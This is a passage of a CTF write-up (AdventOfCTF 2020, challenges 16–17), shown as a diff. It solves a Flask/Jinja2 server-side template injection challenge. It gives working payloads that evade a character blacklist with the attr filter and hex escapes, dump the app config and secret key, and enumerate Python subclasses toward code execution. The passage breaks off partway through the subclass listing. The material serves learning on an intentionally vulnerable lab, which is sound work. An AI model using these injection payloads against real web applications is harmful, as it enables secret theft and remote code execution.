app.config['flag'] = magic(flag, '112f3a99b283a4e1788dedd8e0e5d35375c33747')
|
||||
```
|
||||
|
||||
```python
|
||||
def magic(flag, key):
|
||||
return ''.join(chr(x ^ ord(flag[x]) ^ ord(key[::-1][x]) ^ ord(key[x])) for x in range(len(flag)))
|
||||
```
|
||||
|
||||
The `magic` function takes a flag and key as the input and returns an encrypted string for the output. When anaylizing this function, we see it does some bitwise XOR operations and because we have the key we've got two known values and can, thus, calculate the third.
|
||||
|
||||
We can do this by just passing our encrypted flag along with to key to the `magic` function.
|
||||
|
||||
```text
|
||||
Python 3.6.9 (default, Nov 7 2019, 10:44:02)
|
||||
[GCC 8.3.0] on linux
|
||||
Type "help", "copyright", "credits" or "license" for more information.
|
||||
>>> def magic(flag, key):
|
||||
... return ''.join(chr(x ^ ord(flag[x]) ^ ord(key[::-1][x]) ^ ord(key[x])) for x in range(len(flag)))
|
||||
...
|
||||
>>> magic("HKQ\x1f\x7f~e|\x06{r9<\x03/3z\x12#Rr )G#*\x14,#dp=Z@AP\x0c*", "112f3a99b283a4e1788dedd8e0e5d35375c33747")
|
||||
'NOVI{you_used_the_m@gic_of_christmas}\n'
|
||||
>>>
|
||||
```
|
||||
|
||||
## Solution
|
||||
|
||||
We got the flag! It is `NOVI{you_used_the_m@gic_of_christmas}`.
|
||||
|
||||
This flag can then be submitted for the [challenge](https://ctfd.adventofctf.com/challenges#16-17).
|
||||
@@ -0,0 +1,755 @@
|
||||
+++
|
||||
author = "Maik de Kruif"
|
||||
title = "Challenge 17"
|
||||
subtitle = "Challenge 17 - AdventOfCTF"
|
||||
date = 2021-01-06T22:51:23+01:00
|
||||
description = "A writeup for challenge 17 of AdventOfCTF."
|
||||
cover = "img/writeups/adventofctf/2020/8717d728f2de96beb8123c0cca28a728.png"
|
||||
tags = [
|
||||
"AdventOfCTF",
|
||||
"challenge",
|
||||
"ctf",
|
||||
"hacking",
|
||||
"writeup",
|
||||
"web",
|
||||
"python",
|
||||
"flask",
|
||||
]
|
||||
categories = [
|
||||
"ctf",
|
||||
"writeups",
|
||||
"hacking",
|
||||
]
|
||||
+++
|
||||
|
||||
- Points: 1700
|
||||
|
||||
## Description
|
||||
|
||||
Santa has launched version 2 of the Emoji finder! Some people were able to find the flag in the 1st version, that will not happen again!
|
||||
|
||||
Visit <https://17.adventofctf.com> to start the challenge.
|
||||
|
||||
## Recon
|
||||
|
||||
Upon opening the challenge website we're greeted with some text and an input field. The text says the following: "Santa likes emojis! Enter one to find out what it means. Try 'santa' for instance.". If we then enter 'santa' in the input field and press the search button, we get a santa emoji: 🎅.
|
||||
|
||||
When opening the source of the page we also find the following comment: "Here is a cheatsheet of the emojis you can use: <https://www.webfx.com/tools/emoji-cheat-sheet/>" and some javascript:
|
||||
|
||||
```js
|
||||
function send() {
|
||||
let emoji = $("#emoji")[0].value;
|
||||
if (emoji.length > 0) {
|
||||
$.post("/", { emoji: emoji }, function (data) {
|
||||
$("#msg")[0].innerHTML = "<b>" + data + "</b>";
|
||||
});
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## Finding the vulnerability
|
||||
|
||||
The description makes a reference to [yesterday's challenge]({{% ref "writeups/adventofctf/2020/challenge_16.md" %}}) so we probably have to use the same concept.
|
||||
|
||||
Let's verify it by trying the following input: `{{7*7}}`. It returned `49` so we can continue with the next step.
|
||||
|
||||
## Exploit
|
||||
|
||||
Just like [yesterday's challenge]({{% ref "writeups/adventofctf/2020/challenge_16.md" %}}), we start by trying to get the config like so: `{{config.items()}}`. Sadly, we get an error message: "You entered an emoji that is on my deny list".
|
||||
|
||||
### Blacklist
|
||||
|
||||
As it turns out, this challenge has a blacklist on the input. Let's first test what is and what isn't allowed. We can do this by just trying some characters:
|
||||
|
||||
`{{7*7}}` -> `49`
|
||||
`{{7*'7'}}` -> deny list
|
||||
`{{7*"7"}}` -> `7777777`
|
||||
`{{7*"_"}}` -> deny list
|
||||
`{{7*"confi"}}` -> `conficonficonficonficonficonficonfi`
|
||||
`{{7*"config"}}` -> deny list
|
||||
`{{7*"."}}` -> deny list
|
||||
|
||||
Blacklist: `'`, `_`, `config`, `.`
|
||||
|
||||
### Getting the config
|
||||
|
||||
As "config" is blacklisted, we have to come up with another way to access it. Luckily there is a fairly straightforward way to get it as `config` is saved in `context`. And, in jinja2, `self` in a template refers to `context`. This means we can get it by reading `self.__dict__`.
|
||||
|
||||
We cannot do this directly however, as dots and underscores are blacklisted. Luckily, jinja2 has some [built-in filters](https://jinja.palletsprojects.com/en/master/templates/#builtin-filters) like `attr` that allow us to get attributes from a variable.
|
||||
|
||||
This works by piping a variable into a filter like so `{{self|attr("")}}`. This string passed to `attr` is the attribute we want. We can't just fill in `__dict__` however, because of the blacklist. But, because we pass the attribute as a string, we can use it's hexadecimal ASCII value like so: `\x5f`.
|
||||
|
||||
The resulting input is the following: `{{self|attr("\x5f\x5fdict\x5f\x5f")}}`.
|
||||
|
||||
```yml
|
||||
{
|
||||
'_TemplateReference__context': <Context {
|
||||
'range': <class 'range'>,
|
||||
'dict': <class 'dict'>,
|
||||
'lipsum': <function generate_lorem_ipsum at 0x7f2a4eda4a70>,
|
||||
'cycler': <class 'jinja2.utils.Cycler'>,
|
||||
'joiner': <class 'jinja2.utils.Joiner'>,
|
||||
'namespace': <class 'jinja2.utils.Namespace'>,
|
||||
'url_for': <function url_for at 0x7f2a4dfc6ef0>,
|
||||
'get_flashed_messages': <function get_flashed_messages at 0x7f2a4dfcd0e0>,
|
||||
'config': <Config {
|
||||
'ENV': 'production',
|
||||
'DEBUG': False,
|
||||
'TESTING': False,
|
||||
'PROPAGATE_EXCEPTIONS': None,
|
||||
'PRESERVE_CONTEXT_ON_EXCEPTION': None,
|
||||
'SECRET_KEY': 'Leer alles over Software Security bij Arjen (follow @credmp) at https://www.novi.nl', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31),
|
||||
'USE_X_SENDFILE': False,
|
||||
'SERVER_NAME': None,
|
||||
'APPLICATION_ROOT': '/',
|
||||
'SESSION_COOKIE_NAME': 'session',
|
||||
'SESSION_COOKIE_DOMAIN': False,
|
||||
'SESSION_COOKIE_PATH': None,
|
||||
'SESSION_COOKIE_HTTPONLY': True,
|
||||
'SESSION_COOKIE_SECURE': False,
|
||||
'SESSION_COOKIE_SAMESITE': None,
|
||||
'SESSION_REFRESH_EACH_REQUEST': True,
|
||||
'MAX_CONTENT_LENGTH': None,
|
||||
'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(seconds=43200),
|
||||
'TRAP_BAD_REQUEST_ERRORS': None,
|
||||
'TRAP_HTTP_EXCEPTIONS': False,
|
||||
'EXPLAIN_TEMPLATE_LOADING': False,
|
||||
'PREFERRED_URL_SCHEME': 'http',
|
||||
'JSON_AS_ASCII': True,
|
||||
'JSON_SORT_KEYS': True,
|
||||
'JSONIFY_PRETTYPRINT_REGULAR': False,
|
||||
'JSONIFY_MIMETYPE': 'application/json',
|
||||
'TEMPLATES_AUTO_RELOAD': None,
|
||||
'MAX_COOKIE_SIZE': 4093,
|
||||
'flag': "C\x1eS\x1dwsef}j\x057i\x7fo{D)'dO,+sutm3F"}>,
|
||||
'request': <Request 'http://127.0.0.1:10017/' [POST]>,
|
||||
'session': <SecureCookieSession {}>,
|
||||
'g': <flask.g of 'app'>
|
||||
} of None>
|
||||
}
|
||||
```
|
||||
|
||||
_Note: be sure to use double-quotes (`"`) as the single ones are blacklisted._
|
||||
|
||||
Here we find an encrypted flag again: `'flag': "C\x1eS\x1dwsef}j\x057i\x7fo{D)'dO,+sutm3F"`
|
||||
|
||||
## Decrypting the flag
|
||||
|
||||
Just like [yesterday's challenge]({{% ref "writeups/adventofctf/2020/challenge_16.md" %}}), the flag is encrypted and we probably have to get the source again to get the key used to encrypt the flag. To get the source we first need arbitrary code execution.
|
||||
|
||||
### Arbitrary Code Execution (ACE)
|
||||
|
||||
Unfortunately, we cannot grab the `os` module using the same method as yesterday as it requirers the config class and we cannot easily get it. This means we have to find another way.
|
||||
|
||||
Another common trick to get the code execution is by having a look at the subclasses of the `object` class. We can get it by taking the following path: `''.__class__.__mro__[1].__subclasses__()`. This gets the class of `string`, reads it superclasses by getting `__mro__`, gets the `object` class from index `1` and then reads its superclasses by using the `__subclasses__()` method.
|
||||
|
||||
To get the subclasses, we first have to convert `''.__class__.__mro__[1].__subclasses__()` to an acceptable input. This becomes:
|
||||
|
||||
```text
|
||||
{{ [""|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5fmro\x5f\x5f")][0][1]|attr("\x5f\x5fsubclasses\x5f\x5f")() }}
|
||||
```
|
||||
|
||||
After submitting this, we get the following result:
|
||||
|
||||
{{< code language="text" title="Result" >}}
|
||||
|
||||
```js
|
||||
[
|
||||
<class 'type'>,
|
||||
<class 'weakref'>,
|
||||
<class 'weakcallableproxy'>,
|
||||
<class 'weakproxy'>,
|
||||
<class 'int'>,
|
||||
<class 'bytearray'>,
|
||||
<class 'bytes'>,
|
||||
<class 'list'>,
|
||||
<class 'NoneType'>,
|
||||
<class 'NotImplementedType'>,
|
||||
<class 'traceback'>,
|
||||
<class 'super'>,
|
||||
<class 'range'>,
|
||||
<class 'dict'>,
|
||||
<class 'dict_keys'>,
|
||||
<class 'dict_values'>,
|
||||
<class 'dict_items'>,
|
||||
<class 'odict_iterator'>,
|
||||
<class 'set'>,
|
||||
<class 'str'>,
|
||||
<class 'slice'>,
|
||||
<class 'staticmethod'>,
|
||||
<class 'complex'>,
|
||||
<class 'float'>,
|
||||
<class 'frozenset'>,
|
||||
<class 'property'>,
|
||||
<class 'managedbuffer'>,
|
||||
<class 'memoryview'>,
|
||||
<class 'tuple'>,
|
||||
<class 'enumerate'>,
|
||||
<class 'reversed'>,
|
||||
<class 'stderrprinter'>,
|
||||
<class 'code'>,
|
||||
<class 'frame'>,
|
||||
<class 'builtin_function_or_method'>,
|
||||
<class 'method'>,
|
||||
<class 'function'>,
|
||||
<class 'mappingproxy'>,
|
||||
<class 'generator'>,
|
||||
<class 'getset_descriptor'>,
|
||||
<class 'wrapper_descriptor'>,
|
||||
<class 'method-wrapper'>,
|
||||
<class 'ellipsis'>,
|
||||
<class 'member_descriptor'>,
|
||||
<class 'types.SimpleNamespace'>,
|
||||
<class 'PyCapsule'>,
|
||||
<class 'longrange_iterator'>,
|
||||
<class 'cell'>,
|
||||
<class 'instancemethod'>,
|
||||
<class 'classmethod_descriptor'>,
|
||||
<class 'method_descriptor'>,
|
||||
<class 'callable_iterator'>,
|
||||
<class 'iterator'>,
|
||||
<class 'coroutine'>,
|
||||
<class 'coroutine_wrapper'>,
|
||||
<class 'moduledef'>,
|
||||
<class 'module'>,
|
||||
<class 'EncodingMap'>,
|
||||
<class 'fieldnameiterator'>,
|
||||
<class 'formatteriterator'>,
|
||||
<class 'filter'>,
|
||||
<class 'map'>,
|
||||
<class 'zip'>,
|
||||
<class 'BaseException'>,
|
||||
<class 'hamt'>,
|
||||
<class 'hamt_array_node'>,
|
||||
<class 'hamt_bitmap_node'>,
|
||||
<class 'hamt_collision_node'>,
|
||||
<class 'keys'>,
|
||||
<class 'values'>,
|
||||
<class 'items'>,
|
||||
<class 'Context'>,
|
||||
<class 'ContextVar'>,
|
||||
<class 'Token'>,
|
||||
<class 'Token.MISSING'>,
|
||||
<class '_frozen_importlib._ModuleLock'>,
|
||||
<class '_frozen_importlib._DummyModuleLock'>,
|
||||
<class '_frozen_importlib._ModuleLockManager'>,
|
||||
<class '_frozen_importlib._installed_safely'>,
|
||||
<class '_frozen_importlib.ModuleSpec'>,
|
||||
<class '_frozen_importlib.BuiltinImporter'>,
|
||||
<class 'classmethod'>,
|
||||
<class '_frozen_importlib.FrozenImporter'>,
|
||||
<class '_frozen_importlib._ImportLockContext'>,
|
||||
<class '_thread._localdummy'>,
|
||||
<class '_thread._local'>,
|
||||
<class '_thread.lock'>,
|
||||
<class '_thread.RLock'>,
|
||||
<class 'zipimport.zipimporter'>,
|
||||
<class '_frozen_importlib_external.WindowsRegistryFinder'>,
|
||||
<class '_frozen_importlib_external._LoaderBasics'>,
|
||||
<class '_frozen_importlib_external.FileLoader'>,
|
||||
<class '_frozen_importlib_external._NamespacePath'>,
|
||||
<class '_frozen_importlib_external._NamespaceLoader'>,
|
||||
<class '_frozen_importlib_external.PathFinder'>,
|
||||
<class '_frozen_importlib_external.FileFinder'>,
|
||||
<class '_io._IOBase'>,
|
||||
<class '_io._BytesIOBuffer'>,
|
||||
<class '_io.IncrementalNewlineDecoder'>,
|
||||
<class 'posix.ScandirIterator'>,
|
||||
<class 'posix.DirEntry'>,
|
||||
<class 'codecs.Codec'>,
|
||||
<class 'codecs.IncrementalEncoder'>,
|
||||
<class 'codecs.IncrementalDecoder'>,
|
||||
<class 'codecs.StreamReaderWriter'>,
|
||||
<class 'codecs.StreamRecoder'>,
|
||||
<class '_abc_data'>,
|
||||
<class 'abc.ABC'>,
|
||||
<class 'dict_itemiterator'>,
|
||||
<class 'collections.abc.Hashable'>,
|
||||
<class 'collections.abc.Awaitable'>,
|
||||
<class 'collections.abc.AsyncIterable'>,
|
||||
<class 'async_generator'>,
|
||||
<class 'collections.abc.Iterable'>,
|
||||
<class 'bytes_iterator'>,
|
||||
<class 'bytearray_iterator'>,
|
||||
<class 'dict_keyiterator'>,
|
||||
<class 'dict_valueiterator'>,
|
||||
<class 'list_iterator'>,
|
||||
<class 'list_reverseiterator'>,
|
||||
<class 'range_iterator'>,
|
||||
<class 'set_iterator'>,
|
||||
<class 'str_iterator'>,
|
||||
<class 'tuple_iterator'>,
|
||||
<class 'collections.abc.Sized'>,
|
||||
<class 'collections.abc.Container'>,
|
||||
<class 'collections.abc.Callable'>,
|
||||
<class 'os._wrap_close'>,
|
||||
<class '_sitebuiltins.Quitter'>,
|
||||
<class '_sitebuiltins._Printer'>,
|
||||
<class '_sitebuiltins._Helper'>,
|
||||
<class 'warnings.WarningMessage'>,
|
||||
<class 'warnings.catch_warnings'>,
|
||||
<class 'types.DynamicClassAttribute'>,
|
||||
<class 'types._GeneratorWrapper'>,
|
||||
<class '_hashlib.HASH'>,
|
||||
<class '_blake2.blake2b'>,
|
||||
<class '_blake2.blake2s'>,
|
||||
<class '_sha3.sha3_224'>,
|
||||
<class '_sha3.sha3_256'>,
|
||||
<class '_sha3.sha3_384'>,
|
||||
<class '_sha3.sha3_512'>,
|
||||
<class '_sha3.shake_128'>,
|
||||
<class '_sha3.shake_256'>,
|
||||
<class 'itertools.accumulate'>,
|
||||
<class 'itertools.combinations'>,
|
||||
<class 'itertools.combinations_with_replacement'>,
|
||||
<class 'itertools.cycle'>,
|
||||
<class 'itertools.dropwhile'>,
|
||||
<class 'itertools.takewhile'>,
|
||||
<class 'itertools.islice'>,
|
||||
<class 'itertools.starmap'>,
|
||||
<class 'itertools.chain'>,
|
||||
<class 'itertools.compress'>,
|
||||
<class 'itertools.filterfalse'>,
|
||||
<class 'itertools.count'>,
|
||||
<class 'itertools.zip_longest'>,
|
||||
<class 'itertools.permutations'>,
|
||||
<class 'itertools.product'>,
|
||||
<class 'itertools.repeat'>,
|
||||
<class 'itertools.groupby'>,
|
||||
<class 'itertools._grouper'>,
|
||||
<class 'itertools._tee'>,
|
||||
<class 'itertools._tee_dataobject'>,
|
||||
<class '_random.Random'>,
|
||||
<class '_weakrefset._IterationGuard'>,
|
||||
<class '_weakrefset.WeakSet'>,
|
||||
<class 'weakref.finalize._Info'>,
|
||||
<class 'weakref.finalize'>,
|
||||
<class 'functools.partial'>,
|
||||
<class 'functools._lru_cache_wrapper'>,
|
||||
<class 'operator.itemgetter'>,
|
||||
<class 'operator.attrgetter'>,
|
||||
<class 'operator.methodcaller'>,
|
||||
<class 'reprlib.Repr'>,
|
||||
<class 'collections.deque'>,
|
||||
<class '_collections._deque_iterator'>,
|
||||
<class '_collections._deque_reverse_iterator'>,
|
||||
<class 'collections._Link'>,
|
||||
<class 'functools.partialmethod'>,
|
||||
<class 'enum.auto'>,
|
||||
<enum 'Enum'>,
|
||||
<class 're.Pattern'>,
|
||||
<class 're.Match'>,
|
||||
<class '_sre.SRE_Scanner'>,
|
||||
<class 'sre_parse.Pattern'>,
|
||||
<class 'sre_parse.SubPattern'>,
|
||||
<class 'sre_parse.Tokenizer'>,
|
||||
<class 're.Scanner'>,
|
||||
<class '_json.Scanner'>,
|
||||
<class '_json.Encoder'>,
|
||||
<class 'json.decoder.JSONDecoder'>,
|
||||
<class 'json.encoder.JSONEncoder'>,
|
||||
<class 'tokenize.Untokenizer'>,
|
||||
<class 'traceback.FrameSummary'>,
|
||||
<class 'traceback.TracebackException'>,
|
||||
<class 'threading._RLock'>,
|
||||
<class 'threading.Condition'>,
|
||||
<class 'threading.Semaphore'>,
|
||||
<class 'threading.Event'>,
|
||||
<class 'threading.Barrier'>,
|
||||
<class 'threading.Thread'>,
|
||||
<class 'Struct'>,
|
||||
<class 'unpack_iterator'>,
|
||||
<class 'pickle._Framer'>,
|
||||
<class 'pickle._Unframer'>,
|
||||
<class 'pickle._Pickler'>,
|
||||
<class 'pickle._Unpickler'>,
|
||||
<class '_pickle.Unpickler'>,
|
||||
<class '_pickle.Pickler'>,
|
||||
<class '_pickle.Pdata'>,
|
||||
<class '_pickle.PicklerMemoProxy'>,
|
||||
<class '_pickle.UnpicklerMemoProxy'>,
|
||||
<class 'urllib.parse._ResultMixinStr'>,
|
||||
<class 'urllib.parse._ResultMixinBytes'>,
|
||||
<class 'urllib.parse._NetlocResultMixinBase'>,
|
||||
<class 'jinja2.utils.MissingType'>,
|
||||
<class 'jinja2.utils.LRUCache'>,
|
||||
<class 'jinja2.utils.Cycler'>,
|
||||
<class 'jinja2.utils.Joiner'>,
|
||||
<class 'jinja2.utils.Namespace'>,
|
||||
<class 'string.Template'>,
|
||||
<class 'string.Formatter'>,
|
||||
<class 'markupsafe._MarkupEscapeHelper'>,
|
||||
<class 'jinja2.nodes.EvalContext'>,
|
||||
<class 'jinja2.nodes.Node'>,
|
||||
<class 'jinja2.runtime.TemplateReference'>,
|
||||
<class 'jinja2.runtime.Context'>,
|
||||
<class 'jinja2.runtime.BlockReference'>,
|
||||
<class 'jinja2.runtime.LoopContextBase'>,
|
||||
<class 'jinja2.runtime.LoopContextIterator'>,
|
||||
<class 'jinja2.runtime.Macro'>,
|
||||
<class 'jinja2.runtime.Undefined'>,
|
||||
<class 'decimal.Decimal'>,
|
||||
<class 'decimal.Context'>,
|
||||
<class 'decimal.SignalDictMixin'>,
|
||||
<class 'decimal.ContextManager'>,
|
||||
<class 'numbers.Number'>,
|
||||
<class '_ast.AST'>,
|
||||
<class 'jinja2.lexer.Failure'>,
|
||||
<class 'jinja2.lexer.TokenStreamIterator'>,
|
||||
<class 'jinja2.lexer.TokenStream'>,
|
||||
<class 'jinja2.lexer.Lexer'>,
|
||||
<class 'jinja2.parser.Parser'>,
|
||||
<class 'jinja2.visitor.NodeVisitor'>,
|
||||
<class 'jinja2.idtracking.Symbols'>,
|
||||
<class '__future__._Feature'>,
|
||||
<class 'jinja2.compiler.MacroRef'>,
|
||||
<class 'jinja2.compiler.Frame'>,
|
||||
<class 'jinja2.environment.Environment'>,
|
||||
<class 'jinja2.environment.Template'>,
|
||||
<class 'jinja2.environment.TemplateModule'>,
|
||||
<class 'jinja2.environment.TemplateExpression'>,
|
||||
<class 'jinja2.environment.TemplateStream'>,
|
||||
<class 'jinja2.loaders.BaseLoader'>,
|
||||
<class 'zlib.Compress'>,
|
||||
<class 'zlib.Decompress'>,
|
||||
<class '_bz2.BZ2Compressor'>,
|
||||
<class '_bz2.BZ2Decompressor'>,
|
||||
<class '_lzma.LZMACompressor'>,
|
||||
<class '_lzma.LZMADecompressor'>,
|
||||
<class 'tempfile._RandomNameSequence'>,
|
||||
<class 'tempfile._TemporaryFileCloser'>,
|
||||
<class 'tempfile._TemporaryFileWrapper'>,
|
||||
<class 'tempfile.SpooledTemporaryFile'>,
|
||||
<class 'tempfile.TemporaryDirectory'>,
|
||||
<class 'jinja2.bccache.Bucket'>,
|
||||
<class 'jinja2.bccache.BytecodeCache'>,
|
||||
<class 'logging.LogRecord'>,
|
||||
<class 'logging.PercentStyle'>,
|
||||
<class 'logging.Formatter'>,
|
||||
<class 'logging.BufferingFormatter'>,
|
||||
<class 'logging.Filter'>,
|
||||
<class 'logging.Filterer'>,
|
||||
<class 'logging.PlaceHolder'>,
|
||||
<class 'logging.Manager'>,
|
||||
<class 'logging.LoggerAdapter'>,
|
||||
<class 'concurrent.futures._base._Waiter'>,
|
||||
<class 'concurrent.futures._base._AcquireFutures'>,
|
||||
<class 'concurrent.futures._base.Future'>,
|
||||
<class 'concurrent.futures._base.Executor'>,
|
||||
<class 'select.poll'>,
|
||||
<class 'select.epoll'>,
|
||||
<class 'selectors.BaseSelector'>,
|
||||
<class '_socket.socket'>,
|
||||
<class 'subprocess.CompletedProcess'>,
|
||||
<class 'subprocess.Popen'>,
|
||||
<class '_ssl._SSLContext'>,
|
||||
<class '_ssl._SSLSocket'>,
|
||||
<class '_ssl.MemoryBIO'>,
|
||||
<class '_ssl.Session'>,
|
||||
<class 'ssl.SSLObject'>,
|
||||
<class 'dis.Bytecode'>,
|
||||
<class 'inspect.BlockFinder'>,
|
||||
<class 'inspect._void'>,
|
||||
<class 'inspect._empty'>,
|
||||
<class 'inspect.Parameter'>,
|
||||
<class 'inspect.BoundArguments'>,
|
||||
<class 'inspect.Signature'>,
|
||||
<class 'asyncio.coroutines.CoroWrapper'>,
|
||||
<class 'asyncio.events.Handle'>,
|
||||
<class 'asyncio.events.AbstractServer'>,
|
||||
<class 'asyncio.events.AbstractEventLoop'>,
|
||||
<class 'asyncio.events.AbstractEventLoopPolicy'>,
|
||||
<class '_asyncio.Future'>,
|
||||
<class '_asyncio.FutureIter'>,
|
||||
<class 'TaskStepMethWrapper'>,
|
||||
<class 'TaskWakeupMethWrapper'>,
|
||||
<class '_RunningLoopHolder'>,
|
||||
<class 'asyncio.futures.Future'>,
|
||||
<class 'asyncio.protocols.BaseProtocol'>,
|
||||
<class 'asyncio.transports.BaseTransport'>,
|
||||
<class 'asyncio.sslproto._SSLPipe'>,
|
||||
<class 'asyncio.locks._ContextManager'>,
|
||||
<class 'asyncio.locks._ContextManagerMixin'>,
|
||||
<class 'asyncio.locks.Event'>,
|
||||
<class 'asyncio.queues.Queue'>,
|
||||
<class 'asyncio.streams.StreamWriter'>,
|
||||
<class 'asyncio.streams.StreamReader'>,
|
||||
<class 'asyncio.subprocess.Process'>,
|
||||
<class 'asyncio.unix_events.AbstractChildWatcher'>,
|
||||
<class 'jinja2.asyncsupport.AsyncLoopContextIterator'>,
|
||||
<class 'datetime.date'>,
|
||||
<class 'datetime.timedelta'>,
|
||||
<class 'datetime.time'>,
|
||||
<class 'datetime.tzinfo'>,
|
||||
<class 'werkzeug._internal._Missing'>,
|
||||
<class 'werkzeug._internal._DictAccessorProperty'>,
|
||||
<class 'importlib.abc.Finder'>,
|
||||
<class 'importlib.abc.Loader'>,
|
||||
<class 'importlib.abc.ResourceReader'>,
|
||||
<class 'contextlib.ContextDecorator'>,
|
||||
<class 'contextlib._GeneratorContextManagerBase'>,
|
||||
<class 'contextlib._BaseExitStack'>,
|
||||
<class 'pkgutil.ImpImporter'>,
|
||||
<class 'pkgutil.ImpLoader'>,
|
||||
<class 'werkzeug.utils.HTMLBuilder'>,
|
||||
<class 'werkzeug.exceptions.Aborter'>,
|
||||
<class 'werkzeug.urls.Href'>,
|
||||
<class 'socketserver.BaseServer'>,
|
||||
<class 'socketserver.ForkingMixIn'>,
|
||||
<class 'socketserver.ThreadingMixIn'>,
|
||||
<class 'socketserver.BaseRequestHandler'>,
|
||||
<class 'calendar._localized_month'>,
|
||||
<class 'calendar._localized_day'>,
|
||||
<class 'calendar.Calendar'>,
|
||||
<class 'calendar.different_locale'>,
|
||||
<class 'email._parseaddr.AddrlistClass'>,
|
||||
<class 'email.charset.Charset'>,
|
||||
<class 'email.header.Header'>,
|
||||
<class 'email.header._ValueFormatter'>,
|
||||
<class 'email._policybase._PolicyBase'>,
|
||||
<class 'email.feedparser.BufferedSubFile'>,
|
||||
<class 'email.feedparser.FeedParser'>,
|
||||
<class 'email.parser.Parser'>,
|
||||
<class 'email.parser.BytesParser'>,
|
||||
<class 'email.message.Message'>,
|
||||
<class 'http.client.HTTPConnection'>,
|
||||
<class 'mimetypes.MimeTypes'>,
|
||||
<class 'click._compat._FixupStream'>,
|
||||
<class 'click._compat._AtomicFile'>,
|
||||
<class 'click.utils.LazyFile'>,
|
||||
<class 'click.utils.KeepOpenFile'>,
|
||||
<class 'click.utils.PacifyFlushWrapper'>,
|
||||
<class 'click.parser.Option'>,
|
||||
<class 'click.parser.Argument'>,
|
||||
<class 'click.parser.ParsingState'>,
|
||||
<class 'click.parser.OptionParser'>,
|
||||
<class 'click.types.ParamType'>,
|
||||
<class 'click.formatting.HelpFormatter'>,
|
||||
<class 'click.core.Context'>,
|
||||
<class 'click.core.BaseCommand'>,
|
||||
<class 'click.core.Parameter'>,
|
||||
<class 'werkzeug.serving.WSGIRequestHandler'>,
|
||||
<class 'werkzeug.serving._SSLContext'>,
|
||||
<class 'werkzeug.serving.BaseWSGIServer'>,
|
||||
<class 'werkzeug.datastructures.ImmutableListMixin'>,
|
||||
<class 'werkzeug.datastructures.ImmutableDictMixin'>,
|
||||
<class 'werkzeug.datastructures.UpdateDictMixin'>,
|
||||
<class 'werkzeug.datastructures.ViewItems'>,
|
||||
<class 'werkzeug.datastructures._omd_bucket'>,
|
||||
<class 'werkzeug.datastructures.Headers'>,
|
||||
<class 'werkzeug.datastructures.ImmutableHeadersMixin'>,
|
||||
<class 'werkzeug.datastructures.IfRange'>,
|
||||
<class 'werkzeug.datastructures.Range'>,
|
||||
<class 'werkzeug.datastructures.ContentRange'>,
|
||||
<class 'werkzeug.datastructures.FileStorage'>,
|
||||
<class 'urllib.request.Request'>,
|
||||
<class 'urllib.request.OpenerDirector'>,
|
||||
<class 'urllib.request.BaseHandler'>,
|
||||
<class 'urllib.request.HTTPPasswordMgr'>,
|
||||
<class 'urllib.request.AbstractBasicAuthHandler'>,
|
||||
<class 'urllib.request.AbstractDigestAuthHandler'>,
|
||||
<class 'urllib.request.URLopener'>,
|
||||
<class 'urllib.request.ftpwrapper'>,
|
||||
<class 'werkzeug.wrappers.accept.AcceptMixin'>,
|
||||
<class 'werkzeug.wrappers.auth.AuthorizationMixin'>,
|
||||
<class 'werkzeug.wrappers.auth.WWWAuthenticateMixin'>,
|
||||
<class 'werkzeug.wsgi.ClosingIterator'>,
|
||||
<class 'werkzeug.wsgi.FileWrapper'>,
|
||||
<class 'werkzeug.wsgi._RangeWrapper'>,
|
||||
<class 'werkzeug.formparser.FormDataParser'>,
|
||||
<class 'werkzeug.formparser.MultiPartParser'>,
|
||||
<class 'werkzeug.wrappers.base_request.BaseRequest'>,
|
||||
<class 'werkzeug.wrappers.base_response.BaseResponse'>,
|
||||
<class 'werkzeug.wrappers.common_descriptors.CommonRequestDescriptorsMixin'>,
|
||||
<class 'werkzeug.wrappers.common_descriptors.CommonResponseDescriptorsMixin'>,
|
||||
<class 'werkzeug.wrappers.etag.ETagRequestMixin'>,
|
||||
<class 'werkzeug.wrappers.etag.ETagResponseMixin'>,
|
||||
<class 'werkzeug.wrappers.cors.CORSRequestMixin'>,
|
||||
<class 'werkzeug.wrappers.cors.CORSResponseMixin'>,
|
||||
<class 'werkzeug.useragents.UserAgentParser'>,
|
||||
<class 'werkzeug.useragents.UserAgent'>,
|
||||
<class 'werkzeug.wrappers.user_agent.UserAgentMixin'>,
|
||||
<class 'werkzeug.wrappers.request.StreamOnlyMixin'>,
|
||||
<class 'werkzeug.wrappers.response.ResponseStream'>,
|
||||
<class 'werkzeug.wrappers.response.ResponseStreamMixin'>,
|
||||
<class 'http.cookiejar.Cookie'>,
|
||||
<class 'http.cookiejar.CookiePolicy'>,
|
||||
<class 'http.cookiejar.Absent'>,
|
||||
<class 'http.cookiejar.CookieJar'>,
|
||||
<class 'werkzeug.test._TestCookieHeaders'>,
|
||||
<class 'werkzeug.test._TestCookieResponse'>,
|
||||
<class 'werkzeug.test.EnvironBuilder'>,
|
||||
<class 'werkzeug.test.Client'>,
|
||||
<class 'uuid.UUID'>,
|
||||
<class 'itsdangerous._json._CompactJSON'>,
|
||||
<class 'hmac.HMAC'>,
|
||||
<class 'itsdangerous.signer.SigningAlgorithm'>,
|
||||
<class 'itsdangerous.signer.Signer'>,
|
||||
<class 'itsdangerous.serializer.Serializer'>,
|
||||
<class 'itsdangerous.url_safe.URLSafeSerializerMixin'>,
|
||||
<class 'flask._compat._DeprecatedBool'>,
|
||||
<class 'werkzeug.local.Local'>,
|
||||
<class 'werkzeug.local.LocalStack'>,
|
||||
<class 'werkzeug.local.LocalManager'>,
|
||||
<class 'werkzeug.local.LocalProxy'>,
|
||||
<class 'dataclasses._HAS_DEFAULT_FACTORY_CLASS'>,
|
||||
<class 'dataclasses._MISSING_TYPE'>,
|
||||
<class 'dataclasses._FIELD_BASE'>,
|
||||
<class 'dataclasses.InitVar'>,
|
||||
<class 'dataclasses.Field'>,
|
||||
<class 'dataclasses._DataclassParams'>,
|
||||
<class 'ast.NodeVisitor'>,
|
||||
<class 'difflib.SequenceMatcher'>,
|
||||
<class 'difflib.Differ'>,
|
||||
<class 'difflib.HtmlDiff'>,
|
||||
<class 'pprint._safe_key'>,
|
||||
<class 'pprint.PrettyPrinter'>,
|
||||
<class 'werkzeug.routing.RuleFactory'>,
|
||||
<class 'werkzeug.routing.RuleTemplate'>,
|
||||
<class 'werkzeug.routing.BaseConverter'>,
|
||||
